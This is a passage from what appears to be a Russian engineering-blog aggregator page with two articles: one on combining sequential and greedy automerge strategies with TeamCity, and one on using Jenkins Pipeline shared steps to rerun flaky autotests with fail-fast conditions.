git merge a Updating 4d4f90e..8b55df0Fast-forward test.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)git merge b Auto-merging test.shCONFLICT (content): Merge conflict in test.shRecorded preimage for 'test.sh'Automatic merge failed; fix conflicts and then commit the result.

Разумеется, на практике конфликты бывают менее явными. Например, разные ветки могут полагаться на API разных версий какой-нибудь библиотеки зависимости, притом что более новая версия не поддерживает обратной совместимости. Без глубоких знаний кодовой базы (читай: без разработчиков проекта) обойтись вряд ли получится. Но ведь CI как раз и нужен для решения таких проблем.

Конечно, от разрешения конфликта мы никуда не уйдём кто-то должен внести правки. Но чем раньше нам удастся обнаружить проблему, тем меньше людей будет привлечено к её решению. В идеале потребуется озадачить лишь разработчика одной из конфликтующих веток. Если таких веток две, то одна из них вполне может быть соединена с main.

Превентивные меры

Итак, главное не допустить попадания логического конфликта в main. Иначе придётся долго и мучительно искать источник ошибок, а затем программиста, который проблему должен или может решить. Причём делать это нужно максимально быстро и качественно, чтобы, во-первых, не допустить задержки релиза и во-вторых, избежать в новых ветках логических конфликтов, основанных на уже выявленном конфликте. Такие конфликты часто приводят к неработоспособности большой части приложения или вовсе блокируют его запуск.

Нужно синхронизировать ветки так, чтобы их совокупный вклад в main не приводил к падению сборки релиза. Ясно, что все готовые к слиянию ветки нужно так или иначе объединить и прогнать тесты по результату объединения. Путей решения много, давайте посмотрим, каким был наш путь.

Вторая версия: последовательная стратегия

Стало ясно, что существующих условий готовности к автомерджу для тикета недостаточно. Требовалось какое-то средство синхронизации между ветками, какой-то порядок.

Git, по идее, как раз и является средством синхронизации. Но порядок попадания веток в main и, наоборот, main в ветки определяем мы сами. Чтобы определить точно, какие из веток вызывают проблемы в main, можно попробовать отправлять их туда по одной. Тогда можно выстроить их в очередь, а порядок организовать на основе времени попадания тикета в статус To Merge в стиле первый пришёл первым обслужен.

С порядком определились. А как дальше соединять ветки? Допустим, мы сольём в main первый тикет из очереди. Так как main изменилась, она может конфликтовать с остальными тикетами в очереди. Поэтому перед тем как сливать следующий тикет, нужно удостовериться, что обновлённая main по-прежнему совместима с ним. Для этого достаточно слить main в тикет. Но так как после соединения main с веткой её состояние отличается от того, которое было в сборке, необходимо перезапустить сборку. Для сохранения порядка все остальные тикеты в очереди должны ждать завершения сборки и обработки впередистоящих тикетов. Примерно такие рассуждения привели нас к последовательной стратегии автомерджа.

Работает схема надёжно и предсказуемо. Благодаря обязательной синхронизации с main и последующей пересборке конфликты между ветками удаётся выявлять сразу, до попадания их в main. Раньше же нам приходилось разрешать конфликт уже после слияния релиза со множеством веток, большая часть из которых к этому конфликту отношения не имела. Кроме того, предсказуемость алгоритма позволила нам показать очередь тикетов в веб-интерфейсе, чтобы можно было примерно оценить скорость попадания их веток в main.

Но есть у этой схемы существенный недостаток: пропускная способность автомерджа линейно зависит от времени сборки. При среднем времени сборки iOS-приложения в 25 минут мы можем рассчитывать на прохождение максимум 57 тикетов в сутки. В случае же с Android-приложением требуется примерно 45 минут, что ограничивает автомердж 32 тикетами в сутки, а это даже меньше количества Android-разработчиков в нашей компании.

На практике время ожидания тикета в статусе To Merge составляло в среднем 2 часа 40 минут со всплесками, доходящими до 10 часов! Необходимость оптимизации стала очевидной. Нужно было увеличить скорость слияний, сохранив при этом стабильность последовательной стратегии.

Финальная версия: сочетание последовательной и жадной стратегий

Разработчик команды iOS Дамир Давлетов предложил вернуться к идее жадной стратегии, при этом сохранив преимущества последовательной.

Давайте вспомним идею жадной стратегии: мы сливали все ветки готовых тикетов в main. Основной проблемой было отсутствие синхронизации между ветками. Решив её, мы получим быстрый и надёжный автомердж!

Раз нужно оценить общий вклад всех тикетов в статусе To Merge в main, то почему бы не слить все ветки в некоторую промежуточную ветку Main Candidate (MC) и не запустить сборку на ней? Если сборка окажется успешной, то можно смело сливать MC в main. В противном случае придётся исключать часть тикетов из MC и запускать сборку заново.

Как понять, какие тикеты исключить? Допустим, у нас n тикетов. На практике причиной падения сборки чаще всего является один тикет. Где он находится, мы не знаем все позиции от 1 до n являются равноценными. Поэтому для поиска проблемного тикета мы делим n пополам.

Так как место тикета в очереди определяется временем его попадания в статус To Merge, имеет смысл брать ту половину, в которой расположены тикеты с большим временем ожидания.

Следуя этому алгоритму, для k проблемных тикетов в худшем случае нам придётся выполнить O(k*log2(n)) сборок, прежде чем мы обработаем все проблемные тикеты и получим удачную сборку на оставшихся.

Вероятность благоприятного исхода велика. А ещё в то время, пока сборки на ветке MC падают, мы можем продолжать работу при помощи последовательного алгоритма!

Итак, у нас есть две автономные модели автомерджа: последовательная (назовём её Sequential Merge, или SM) и жадная (назовём её Greedy Merge, или GM). Чтобы получить пользу от обеих, нужно дать им возможность работать параллельно. А параллельные процессы требуют синхронизации, которой можно добиться либо средствами межпроцессного взаимодействия, либо неблокирующей синхронизацией, либо сочетанием этих двух методов. Во всяком случае, мне другие методы неизвестны.

Сами процессы такого рода у нас реализованы в виде очереди команд-скриптов. Команды эти могут быть одноразовыми и периодически запускаемыми. Так как автомердж никогда не закончится, а с управлением повторными запусками лучше справится контроллер очереди, выберем второй тип.

Остаётся предотвратить все возможные случаи состояний гонки. Их много, но для понимания сути приведу несколько самых важных:

  1. SM-SM и GM-GM: между командами одного типа.

  2. SM-GM: между SM и GM в рамках одного репозитория.

Первая проблема легко решается при помощи мьютекса по токену, включающему в себя имя команды и название репозитория. Пример: lock_${command}_${repository}.

Поясню, в чём заключается сложность второго случая. Если SM и GM будут действовать несогласованно, то может случиться так, что SM соединит main с первым тикетом из очереди, а GM этого тикета не заметит, то есть соберёт все остальные тикеты без учёта первого. Например, если SM переведёт тикет в статус In Master, а GM будет всегда выбирать тикеты по статусу To Merge, то GM может никогда не обработать тикета, соединённого SM. При этом тот самый первый тикет может конфликтовать как минимум с одним из других.

Во избежание логических конфликтов GM нужно обрабатывать все тикеты в очереди без исключения. По этой же причине алгоритм GM в связке с SM обязательно должен соблюдать тот же порядок тикетов в очереди, что и SM, так как именно этот порядок определяет, какая половина очереди будет выбрана в случае неудачной сборки в GM. При соблюдении этих условий тикет, обрабатываемый SM, будет всегда входить в сборку GM, что обеспечит нам нужную степень синхронизации.

Таким образом, мы получили своего рода неблокирующую синхронизацию.

Немного о TeamCity

В процессе реализации GM нам предстояло обработать много нюансов, которыми я не хочу перегружать статью. Но один из них заслуживает внимания. В ходе разработки я столкнулся с проблемой зацикливания команды GM: процесс постоянно пересобирал ветку MC и создавал новую сборку в TeamCity. Проблема оказалась в том, что TeamCity не успел скачать обновления репозитория, в которых была ветка MC, созданная процессом GM несколько секунд назад. К слову, интервал обновления репозитория в TeamCity у нас составляет примерно 30 секунд.

В качестве хотфикса я ввёл плавающий тег сборки, то есть создал в TeamCity тег с названием, похожим на automerge_ios_repo_git, и перемещал его от сборки к сборке, чтобы иметь представление о том, какая сборка является актуальной, в каком она состоянии и т. д. Но, понимая несовершенство этого подхода, я взялся за поиски способа донесения до TeamCity информации о новом состоянии ветки MC, а также способа прикрепления ревизии к сборке.

Кто-то посчитает решение очевидным, но я нашёл его не сразу. Оказывается, прикрепить ревизию к сборке при её добавлении в очередь можно при помощи параметра lastChanges метода addBuildToQueue:

<lastChanges>  <change    locator="version:{{revision}},buildType:(id:{{build_type}})"/></lastChanges>

В этом примере {{revision}} заменяется на 16-ричную последовательность коммита, а {{build_type}} на идентификатор конфигурации сборки. Но этого недостаточно, так как TeamCity, не имея информации о новом коммите, может отказать нам в запросе.

Для того чтобы новый коммит дошёл до TeamCity, нужно либо подождать примерно столько, сколько указано в настройках конфигурации корня VCS, либо попросить TeamCity проверить наличие изменений в репозитории (Pending Changes) при помощи метода requestPendingChangesCheck, а затем подождать, пока TeamCity скачает изменения, содержащие наш коммит. Проверка такого рода выполняется посредством метода getChange, где в changeLocator нужно передать как минимум сам коммит в качестве параметра локатора version. Кстати, на момент написания статьи (и кода) на странице ChangeLocator в официальной документации описание параметра version отсутствовало. Быть может, поэтому я не сразу узнал о его существовании и о том, что это 40-символьный 16-ричный хеш коммита.

Псевдокод:

teamCity.requestPendingChanges(buildType)attempt = 1while attempt <= 20:  response = teamCity.getChange(commit, buildType)  if response.commit == commit:    return True # Дождались  sleep(10)return False

О предельно высокой скорости слияний

У жадной стратегии есть недостаток на поиск ветки с ошибкой может потребоваться много времени. Например, 6 сборок для 20 тикетов у нас может занять около трёх часов. Можно ли устранить этот недостаток?

Допустим, в очереди находится 10 тикетов, среди которых только 6-й приводит к падению сборки.

Согласно жадной стратегии, мы пробуем собрать сразу все 10 тикетов, что приводит к падению сборки. Далее собираем левую половину (с 1 по 5) успешно, так как тикет с ошибкой остался в правой половине.

Если бы мы сразу запустили сборку на левой половине очереди, то не потеряли бы времени. А если бы проблемным оказался не 6-й тикет, а 4-й, то было бы выгодно запустить сборку на четверти длины всей очереди, то есть на тикетах с 1 по 3, например.

Продолжая эту мысль, мы придём к выводу о том, что полностью избавиться от ожиданий неудачных сборок можно только при условии параллельного запуска сборок всех комбинаций тикетов:

Обратите внимание, во избежание конфликтов здесь необходимо соблюдать очерёдность, поэтому комбинации вроде пятый и первый недопустимы. Тогда можно было бы просто брать успешные сборки и соединять их тикеты в main. При этом неудачные сборки времени бы не отнимали.

Примерно такой же алгоритм реализован в премиум-функции GitLab под названием Merge Trains. Перевода этого названия на русский язык я не нашёл, поэтому назову его Поезда слияний. Поезд представляет собой очередь запросов на слияние с основной веткой (merge requests). Для каждого такого запроса выполняется слияние изменений ветки самого запроса с изменениями всех запросов, расположенных перед ним (то есть запросов, добавленных в поезд ранее). Например, для трёх запросов на слияние A, B и С GitLab создаёт следующие сборки:

  1. Изменения из А, соединённые с основной веткой.

  2. Изменения из A и B, соединённые с основной веткой.

  3. Изменения из A, B и C, соединённые с основной веткой.

Если сборка падает, то соответствующий запрос из очереди удаляется, а сборки всех предыдущих запросов перезапускаются (без учёта удалённого запроса).

GitLab ограничивает количество параллельно работающих сборок двадцатью. Все остальные сборки попадают в очередь ожидания вне поезда. Как только сборка завершает работу, её место занимает очередная сборка из очереди ожидания.

Таким образом, запуск параллельных сборок по всем допустимым комбинациям тикетов в очереди позволяет добиться очень высокой скорости слияний. Избавившись от очереди ожидания, можно и вовсе приблизиться к максимальной скорости.

Но если преград человеческой мысли нет, то пределы аппаратных ресурсов видны достаточно отчётливо:

  1. Каждой сборке нужен свой агент в TeamCity.

  2. В нашем случае у сборки мобильного приложения есть порядка 15-100 сборок-зависимостей, каждой из которых нужно выделить по агенту.

  3. Сборки автомерджа мобильных приложений в main составляют лишь малую часть от общего количества сборок в TeamCity.

Взвесив все плюсы и минусы, мы решили пока остановиться на алгоритме SM + GM. При текущей скорости роста очереди тикетов алгоритм показывает хорошие результаты. Если в будущем заметим возможные проблемы с пропускной способностью, то, вероятно, пойдём в сторону Merge Trains и добавим пару параллельных сборок GM:

  1. Вся очередь.

  2. Левая половина очереди.

  3. Левая четверть очереди.

Что в итоге получилось

В результате применения комбинированной стратегии автомерджа нам удалось добиться следующего:

  • уменьшение среднего размера очереди в 2-3 раза;

  • уменьшение среднего времени ожидания в 4-5 раз;

  • мердж порядка 50 веток в день в каждом из упомянутых проектов;

  • увеличение пропускной способности автомерджа при сохранении высокого уровня надёжности, то есть мы практически сняли ограничение на количество тикетов в сутки.

Примеры графиков слияний за несколько дней:

Количество тикетов в очереди до и после внедрения нового алгоритма:

Среднее количество тикетов в очереди (AVG) уменьшилось в 2,5 раза (3,95/1,55).

Время ожидания тикетов в минутах:

Среднее время ожидания (AVG) уменьшилось в 4,4 раза (155,5/35,07).

Подробнее..

Jenkins Pipeline. Что это и как использовать в тестировании

08.02.2021 16:12:50 | Автор: admin

Меня зовут Александр Михайлов, я работаю в команде интеграционного тестирования компании ЮMoney.

Наша команда занимается приемочным тестированием. Оно включает в себя прогон и разбор автотестов на критичные бизнес-процессы в тестовой среде, приближенной по конфигурации к продакшену. Еще мы пишем фреймворк, заглушки, сервисы для тестирования в целом, создаем экосистему для автоматизации тестирования и обучаем ручных тестировщиков автоматизации.

Надеюсь, что эта статья будет интересна как новичкам, так и тем, кто съел собаку в автоматизации тестирования. Мы рассмотрим базовый синтаксис Jenkins Pipeline, разберемся, как создать джобу на основе пайплайна, а также я расскажу про опыт внедрения неочевидной функциональности в CI запуска и дожатия автотестов по условию.

Запуск автотестов на Jenkins инструкция

Не новость, что автотесты эффективнее всего проводить после каждого изменения системы. Запускать их можно локально, но мы рекомендуем делать это только при отладке автотестов. Больший профит автотесты принесут при запуске на CI. В качестве CI-сервера у нас в компании используется Jenkins, в качестве тестового фреймворка JUnit, а для отчетов Allure Report.

Чтобы запускать тесты на Jenkins, нужно создать и сконфигурировать джобу.

Для этого достаточно выполнить несколько несложных шагов.

1) Нажать Создать, выбрать задачу со свободной конфигурацией и назвать ее, например, TestJob.

Естественно, для этого у вас должны быть права в Jenkins. Если их нет, нужно обратиться к администратору Jenkins.

2) Указать репозиторий, откуда будет выкачиваться код проекта: URL, credentials и branch, с которого все будет собираться.

3) Добавить нужные параметры, в этом примере количество потоков (threadsCount) и список тестов для запуска (testList).

Значение *Test для JUnit означает Запустить все тесты.

4) Добавить команду для запуска тестов.

Наш вариант запускается на Gradle: мы указываем таску теста и передаем параметры в тесты.

./gradlew test -PthreadsCount=$threadsCount -PtestList=$testList

Можно выполнить шаг сборки Выполнить команду shell, либо через Gradle Plugin использовать шаг Invoke Gradle Script.

5) Нужно добавить Allure-report (должен быть установлен https://plugins.jenkins.io/allure-jenkins-plugin/) в Послесборочные операции, указав путь к артефактам Allure после прогона (по умолчанию allure-result).

Создав джобу и прогнав с ее помощью тестов, мы можем получить такой результат.

На скрине реальный прогон. По таймлайну видно, как тесты разделяются по потокам и где были падения.

Несложно заметить, что тесты у нас падают.

Почему падают тесты

Падения могут случаться по разным причинам. В нашем случае на это влияют:

  • ограниченные ресурсы тестового стенда,

  • большое число микросервисов (~140); если при запуске интеграционных тестов какой-то один микросервис подтормаживает, тесты начинают валиться,

  • большое число интеграционных тестов (>3000 E2E),

  • врожденная нестабильность UI-тестов.

В итоге проблемы по этим причинам мультиплицируются, и мы получаем комбинаторный взрыв, проявляющийся ошибками в прогонах тестов. Что делать? Дожимать.

Что такое дожим

Дожим это перезапуск автотестов в рамках их одного прогона. При успешном прохождении автотеста можно считать его пройденным, не учитывая предыдущие падения в прогоне.

Дожимать? Опасно же!

Возразите вы и будете полностью правы. Безусловно, дожим автотестов может спровоцировать пропуск дефекта на продакшн. Баг может быть плавающим при повторном запуске успешно просочиться и попасть на продакшн.

Но мы проанализировали статистику падений автотестов за длительный период и увидели, что большинство падений было связано с нестабильной тестовой средой, тестовыми данными. Поэтому мы взяли на себя риск и стали дожимать тесты. Прошло уже больше года, и не было ни одного дефекта, пропущенного на продакшн по этой причине. Зато стабильность тестов повысилась ощутимо.

Как решать задачу с дожимами

Мы пробовали разные решения: использовали модификацию поведения JUnit 4, JUnit 5, писали обертки на Kotlin. И, к сожалению, каждый раз реализация завязывалась на фичах языка или фреймворка.

Если процесс запускался с помощью JUnit 4 или JUnit 5, возможность перезапустить тесты была только сразу при падении. Тест упал, перезапустили его несколько раз подряд и если сбоил какой-то микросервис из-за нагрузки, либо настройки тестовой среды были некорректные, то тест все три раза падал.

Это сильно удлиняло прогон, особенно когда проблема была в настройке тестовой среды, что приводило к провалу множества тестов.

Мы взглянули на проблему шире, решили убрать зависимость от тестового фреймворка или языка и реализовали перезапуск на более высоком уровне на уровне CI. И сделали это с помощью Jenkins Pipeline.

Для этого подходил следующий алгоритм: получаем список упавших тестов и проверяем условия перезапуска. Если упавших тестов нет, завершаем прогон. Если есть, решаем, запускать их повторно или нет. Например, можно реализовать логику, чтобы не перезапускались тесты, если их упало больше какого-то критического числа. Или перед запуском можно сделать проверку доступности тестируемого сервиса.

Что такое Jenkins Pipeline

Jenkins Pipeline набор плагинов, позволяющий определить жизненный цикл сборки и доставки приложения как код. Он представляет собой Groovy-скрипт с использованием Jenkins Pipeline DSL и хранится стандартно в системе контроля версий.

Существует два способа описания пайплайнов скриптовый и декларативный.

1. Scripted:

node {stage('Example') {try {sh 'exit 1'}catch (exc) { throw exc}}}

2. Declarative

pipeline {agent anystages {stage("Stage name") {steps {}}}}

Они оба имеют структуру, но в скриптовом она вольная достаточно указать, на каком слейве запускаться (node), и стадию сборки (stage), а также написать Groovy-код для запуска атомарных степов.

Декларативный пайплайн определен более жестко, и, соответственно, его структура читается лучше.

Рассмотрим подробнее декларативный пайплайн.

  1. В структуре должна быть определена директива pipeline.

  2. Также нужно определить, на каком агенте (agent) будет запущена сборка.

  3. Дальше идет определение stages, которые будут содержаться в пайплайне, и обязательно должен быть конкретный стейдж с названием stage(name). Если имени нет, тест упадет в runtime с ошибкой Добавьте имя стейджа.

  4. Обязательно должна быть директива steps, в которой уже содержатся атомарные шаги сборки. Например, вы можете вывести в консоль Hello.

pipeline { // определение декларативного pipelineagent any // определяет, на каком агенте будет запущена сборкаstages { // содержит стейджи сборкиstage("Stage name") { // отдельный стейдж сборкиsteps { // набор шагов в рамках стейджаecho "Hello work" // один из шагов сборки}}}}

Мне нравится декларативный вид пайплайна тем, что он позволяет определить действия после каждого стейджа или, например, после всей сборки. Я рекомендую использовать его при описании пайплайнов на верхнем уровне.

pipeline {stages {stage("Post stage") {post { // определяет действия по завершении стейджаsuccess { // триггером исполнения секции является состояние сборки archiveArtifacts artifacts: '**/target/*'}}}}post { // после всей сборкиcleanup {cleanWs()}}}

Если сборка и стейдж завершились успешно, можно сохранить артефакты или почистить workspace после сборки. Если же при таких условиях использовался бы скриптовый пайплайн, пришлось бы за этим флоу следить самостоятельно, добавляя обработку исключений, условия и т.д.

При написании своего первого пайплайна я, естественно, использовал официальный мануал там подробное описание синтаксиса и степов.

Сначала я даже растерялся и не знал, с чего начать настолько там много информации. Если вы первый раз сталкиваетесь с написанием пайплайна, начать лучше со знакомства с генераторами фрагментов пайплайна из UI-интерфейса.

Если к URL вашего веб-интерфейса Jenkins добавить ендпойнт /pipelines-syntax, откроется страница, в которой есть ссылки на документацию и два сниппет-генератора, позволяющие генерировать пайплайн даже без знания его синтаксиса:

  • Declarative sections generator

  • Snippet Generator

Генераторы фрагментов помощники в мире Jenkins

Для создания пайплайна сначала нужно декларативно его описать, а затем наполнить степами. Давайте посмотрим, как вспомогательные инструменты нам в этом помогут.

  • Declarative sections generator (JENKINS-URL/directive-generator) генератор фрагментов для декларативного описания пайплайна.

Для добавления стадии нужно написать ее имя и указать, что будет внутри (steps). После нажатия кнопки Сгенерировать будет выведен код, который можно добавлять в пайплайн.

stage(start tests){steps{ //One or more steps needs to be included within the steps block}}

Также нам нужны шаги, в которых будут выполняться различные действия например, запуск джобы Jenkins с тестами.

  • В Sample Step выбрать build: Build a job.

  • (Дальше функционал подсказывает) необходимо определить параметры, которые будут переданы в джобу (для примера задано branch, project).

  • Нажать кнопку Generate в результате сформируется готовый рабочий код.

Изменим параметры джобы на те, которые определили при ее создании.

build job QA/TestJob, parameters: [                        string(name: 'threadsCount', value: 16),                         string(name: 'testList', value: *Test),                        string(name: 'runId', value: runId)]

где threadsCount - кол-во потоков для распараллеливания тестов, testList - список тестов для запуска, runId - идентификатор прогона тестов. Для чего нужны эти параметры, расскажу далее.

Snippet Generator удобен тем, что подсвечивает шаги в зависимости от установленных плагинов. Если у вас есть, например, Allure-report, то плагин сразу покажет наличие расширения и поможет сгенерировать код, который будет работать.

Вставим сгенерированный код степа в пайплайн на следующем шаге.

Запуск тестов с помощью Pipeline инструкция

Итак, давайте с помощью Declarative sections generator создадим пайплайн. В нем нужно указать директивы: pipeline, agent (агент, на котором будет запускаться пайплайн), а также stages и steps (вставка ранее сгенерированного кода).

Так получится пайплайн, который запустит джобу, созданную на предыдущем шаге через UI.

pipeline {agent {label any}stages {stage("start test") {steps{build job: '/QA/TestJob',parameters: [string(name: 'threadsCount', value: threadsCount),string(name: 'runId', value: runId),string(name: 'testList', value: testList)]}}} }

Напомню, что в параметры для запуска тестов мы передавали количество потоков и список тестов. Теперь к этому добавляем параметр runId (идентификатор прогона тестов) он понадобится позднее для перезапуска конкретного сьюта тестов.

Чтобы запустить пайплайн, нужно создать проект.

  1. New Item -> Pipeline.

Для этого нужно нажать на кнопку Создать проект и выбрать не джобу со свободной конфигурацией, а джобу Pipeline осталось указать ей имя.

  1. Добавить параметры runId, threadsCount, testList.

  1. Склонировать из Git.

Пайплайн можно описать непосредственно как код и вставить в поле, но для версионирования нужно затягивать пайплайн из Git. Обязательно указываем путь до скрипта с пайплайном.

Готово, джобу можно запускать.

Хотим добавить немного дожатий

На этом этапе у нас уже готова джоба для запуска проекта с автотестами. Но хочу напомнить, что наша задача не просто запускать тесты, а добавить им стабильности, исключив падения из-за внешних факторов. Для достижения этого результата было принято решение дожать автотесты.

Для реализации нужно:

  1. вынести шаг запуска тестов в библиотечную функцию (shared steps),

  2. получить упавшие тесты из прогона,

  3. добавить условия перезапуска.

Теперь немного подробнее про каждый из этих шагов.

Многократное использование шагов Shared Steps

В процессе написания пайплайнов я столкнулся с проблемой постоянного дублирования кода (часто используемых степов). Этого хотелось избежать.

Решение нашлось не сразу. Оказывается, для многократного использования кода в Jenkins есть встроенный механизм shared libraries, который позволяет описать методы один раз и затем применять их во всех пайплайнах.

Существуют два варианта подключения этой библиотеки.

  1. Написанный проект/код подключить через UI Jenkins. Для этого требуются отдельные права на добавление shared libraries или привлечение девопс-специалистов (что не всегда удобно).

  2. Хранить код в отдельном проекте или в проекте с пайплайнами. При использовании этот код подключается как динамическая библиотека и выкачивается каждый раз при запуске пайплайна.

Мы используем второй вариант размещаем shared steps в проекте с пайплайнами.

Для этого в проекте нужно:

  • создать папку var,

  • в ней создать файл с названием метода, который планируется запускать например, gradlew.groovy,

  • стандартно определить имя метода (должен называться call), то есть написать def call и определить входящие параметры,

  • в теле метода можно написать произвольный Groovy-код и/или Pipeline-степы.

Pipeline script:

//Подключение библиотеки//https://www.jenkins.io/doc/book/pipeline/shared-libraries/ - описание с картинкамиlibrary identifier: 'pipeline-shared-lib'  pipeline {stages {stage("Build") {steps {gradlew(tasks: ["build"]) // вызов метода из библиотеки}}}}

var/gradlew.groovy

def call(Map<String, List<String>> parameters) {  // стандратное имя для глобального методаdef tasks = parameters["tasks"]def args = parameters["args"] ?: []sh "./gradlew ${args.join(' ')}     ${tasks.join(' ')}"    // произвольный groovy код + pipeline-методы}

Вынесение запуска тестов в shared steps в /var

  1. Выносим startTests.groovy в /var.

Во-первых, нужно вынести запуск тестов в отдельный метод. Выглядит это так создаем файл, называем метод def call, берем кусок кода, который был в пайплайне, и выносим его в этот step.

def call(Map<String, String> params) {    def threadsCount = params["threadsCount"] ?: "3"    def testList = params["testList"] ?: "*Test"    stage("start test job") {      runTest = build job: '/QA/TestJob',                  parameters: [                         string(name: 'threadsCount', value: threadsCount),                         string(name: 'runId', value: runId),                         string(name: 'testList', value: testList)],                         propagate: false   }}

Для передачи параметров используется Map<String, String>. Почему не передавать каждый параметр отдельно? Это не очень удобно, т.к. в Groovy параметры не обозначены по названиям. При использовании Map синтаксис позволяет указать key:value через двоеточие. В коде (в месте вызова метода) это отображается наглядно.

Структура проекта будет выглядеть так.

  1. Подключение shared steps как внешней библиотеки.

Дальше нужно добавить вынесенные шаги в пайплайн. При динамической подгрузке библиотек (во время запуска пайплайна) эти шаги выкачиваются из репозитория и подключаются на лету.

Сделать это можно с помощью сниппет-генератора выбираем степ library и указываем ветку, в которую все будет собираться и репозиторий. Дальше нажимаем кнопку Сгенерировать и вставляем получившийся пайплайн.

library changelog: false,    identifier: 'shared-lib@master',    retriever: modernSCM([   $class    : 'GitSCMSource',   remote   : 'ssh://git@bitbucket.ru/qa/jenkins-groovy-scripts.git'])

Теперь после подключения shared steps вместо шага запуска тестов build нужно вставить startTest. Не забудьте, что имя метода должно совпадать с именем файла.

Теперь наш пайплайн выглядит так.

//Динамическое подключение библиотекиlibrary changelog: false,    identifier: 'shared-lib@master',    retriever: modernSCM([   $class   : 'GitSCMSource',  remote   : 'ssh://git@bitbucket.ru/qa/jenkins-groovy-scripts.git'])pipeline {   agent {  label any  }  stages { stage("start test") {    steps{   startTests(runId: runId ) //Вызов метода из библиотеки  }    }  }}

Первый шаг реализован, теперь можно многократно запускать тесты в разных местах. Переходим к 2 шагу.

Получение упавших тестов из прогона

Теперь нам нужны упавшие тесты. Каким образом их извлечь?

  • Установить в Jenkins плагин JUnit Test Result Report и использовать его API.

  • Взять результаты прогона JUnit (обычно в формате XML), распарсить и извлечь нужные данные.

  • Запросить список упавших тестов из нужного места.

В нашем случае таким местом является собственный написанный сервис Reporter. Во время прогона тестов результат по каждому из них отправляется именно туда. В конце прогона делаем http-запрос и получаем упавшие тесты.

http://reporter:8080/failedTests/$runId

Добавление условий перезапуска

На этом шаге следует добавить getFailedTests.groovy в /var. Представим, что у вас есть такой сервис Reporter. Нужно назвать файл getFailedTests, сделать запрос httpRequest в этот сервис и распарсить его.

def call(String runId) {    def response = httpRequest httpMode: 'GET',     url: "http://reporter:8080/failedTests/$runId"     def json = new JsonSlurper().parseText(response.content)        return json.data}

Отлично, второй шаг выполнен. Осталось добавить ту самую изюминку условия перезапуска. Но сначала посмотрим, что получается.

Есть запуск тестов и получение результатов прогона. Теперь нужно добавить те самые условия, которые будут говорить: Если все хорошо, завершай прогон. Если плохо, давай перезапускать.

Условия перезапуска

Какие условия для перезапуска можно реализовать?

Приведу часть условий, которые используем мы.

1) Если нет упавших тестов, прогон завершается.

if (countFailedTests == 0) {echo FINISHED   }

2) Как я уже писал выше, на тестовой среде ресурсы ограничены, и бывает такое, что ТС захлебывается в большом количестве параллельных тестов. Чтобы на дожатии избежать падений тестов по этой причине, понижаем число потоков на повторном запуске. Именно для этого при создании джобы и в самом пайплайне мы добавили параметр threadsCount.

Если и после уменьшения потоков тесты не дожимаются (количество упавших тестов на предыдущем прогоне равно числу упавших тестов на текущем), тогда считаем, что дело не во влиянии ТС на тесты. Останавливаем прогон для анализа причин падений и тем самым предотвращаем последующий холостой запуск.

if (countFailedTests == previousCountFailedTests) { echo TERMINATED - no one new passed test after retry}

3) Третья и самая простая проверка состоит в том, что если падает большое количество тестов, то дожимать долго. Скорее всего, причина падений какая-то глобальная, и ее нужно изучать.

Для себя мы определили: если тестов > 40, дожимать не автоматически не будем, потому что 40 наших E2E могут проходить порядка 15 минут.

if (countFailedTests > FAILEDTESTSTRESHOLD) {   echo TERMINATED - too much failed tests   }
Получился метод:

https://github.com/useriq/retry-flaky-tests/blob/master/jenkins-pipeline-retry/var/testsWithRerun.groovy

def call(Map<String, String> params) {    assert params["runId"]    def threadsCount = params["threadsCount"] ?: "8"    def testList = params["testList"] ?: "*Test"    def runId = params["runId"]    int FAILED_TESTS_TRESHOLD = 40    def countFailedTests = 0    def failedTests    int run = 1    boolean isFinished = false    int threads = threadsCount as int    while (run <= Integer.valueOf(runCount) && !isFinished) {        if (run == 1) {            startTests()        } else {            if (countFailedTests > 0) {                threads = reduceThreads(threads)                testList = failedTests.toString().minus('[').minus(']').minus(' ')                startTests()            }        }        stage("check ${run}_run result ") {            failedTests = getFailedTests(runId)            def previousCountFailedTests = countFailedTests            countFailedTests = failedTests.size()            if (countFailedTests == 0) {                echo "FINISHED"                isFinished = true            }            if (countFailedTests > FAILED_TESTS_TRESHOLD) {                echo "TERMINATED - too much failed tests > ${FAILED_TESTS_TRESHOLD}"                isFinished = true            }            if (countFailedTests == previousCountFailedTests) {                echo "TERMINATED - no one new passed test after retry"                isFinished = true            }        }        run += 1    }}

Последние два условия так называемые fail fast. Они позволяют при глобальных проблемах на тестовом стенде не делать прогоны, которые не приведут к дожиму тестов, но будут занимать ресурсы тестового стенда.

Итоговый pipeline

Итак, все 3 шага реализованы итоговый пайплайн выглядит так.

library changelog: false,       identifier: 'shared-lib@master',       retriever: modernSCM([               $class       : 'GitSCMSource',               remote       : 'ssh://git@bitbucket.ru/qa/jenkins-groovy-scripts.git']) assert runId != nullpipeline {   agent {       label any   }   stages {       stage("start test") {           steps {             testsWithRerun(runId: runId)           }       }   }}

Визуализация с Blue Ocean

Как все это выглядит при прогоне в Jenkins? У нас, к примеру, для визуализации в Jenkins установлен плагин Blue Ocean.

На картинке ниже можно увидеть, что:

  1. запустился метод testwith_rerun,

  2. прошел первый запуск,

  3. прошла проверка упавших тестов,

  4. запустился второй прогон,

  5. после успешной проверки джоба завершилась.

Вот так выглядит визуализация нашего настоящего прогона.

В реальном примере две ветки: мы параллельно запускаем два проекта с тестами (на Java и Kotlin). Можно заметить, что тесты одного проекта прошли с первого раза, а вот тесты другого пришлось дожимать еще раз. Таким образом визуализация помогает найти этап, на котором падают тесты.

А так выглядит реальный timeline приемки релиза.

После первого прогона отправили дожимать упавшие тесты. Во второй раз упавших тестов намного меньше, дожимаем в третий раз и вуаля, успешный build.

Задача решена.

Итог

Мы перенесли логику перезапусков упавших тестов из тестового проекта на уровень выше на CI. Таким образом сделали механизм перезапуска универсальным, более гибким и независимым от стека, на котором написаны автотесты.

Раньше наши тесты дожимались безусловно, по несколько раз, с неизменным количеством параллельных потоков. При перегрузке тестового стенда, некорректных настройках тестового окружения либо каких-то других проблемах красные тесты перезапускались фиксированное число раз без шансов дожаться. В худшем случае прогоны могли длиться часами. Добавив условия fail fast, мы сократили это время.

При падении тестов инженер, ответственный за приемку, в некоторых ситуациях вручную стартовал джобу перезапуска, выполняя прогон с меньшим числом потоков. На это тоже уходило время. Добавив в условия пайплайна уменьшение числа потоков на перезапуске, мы сократили и это время.

Какой профит мы получили:

  • уменьшили time-to-market тестируемых изменений,

  • сократили длительность аренды тестового стенда под приемочное тестирование,

  • увеличили пропускную способность очереди приемочного тестирования,

